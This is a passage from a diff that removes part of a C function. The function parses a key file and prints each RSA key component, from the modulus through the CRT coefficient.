- puts( "Bad data format in key file" );
- break;
- }
-
- /* OK, now we've reached the key components. Print each one out */
- index += printKeyComponent( temp + index, "Modulus" );
- index += printKeyComponent( temp + index, "Public exponent" );
- index += printKeyComponent( temp + index, "Private exponent" );
- index += printKeyComponent( temp + index, "Prime 1" );
- index += printKeyComponent( temp + index, "Prime 2" );
- index += printKeyComponent( temp + index, "Exponent 1" );
- index += printKeyComponent( temp + index, "Exponent 2" );
- index += printKeyComponent( temp + index, "Coefficient" );
-
- break;
- }
- fclose( dictFile );
-
- return( EXIT_SUCCESS );
- }
-
-
-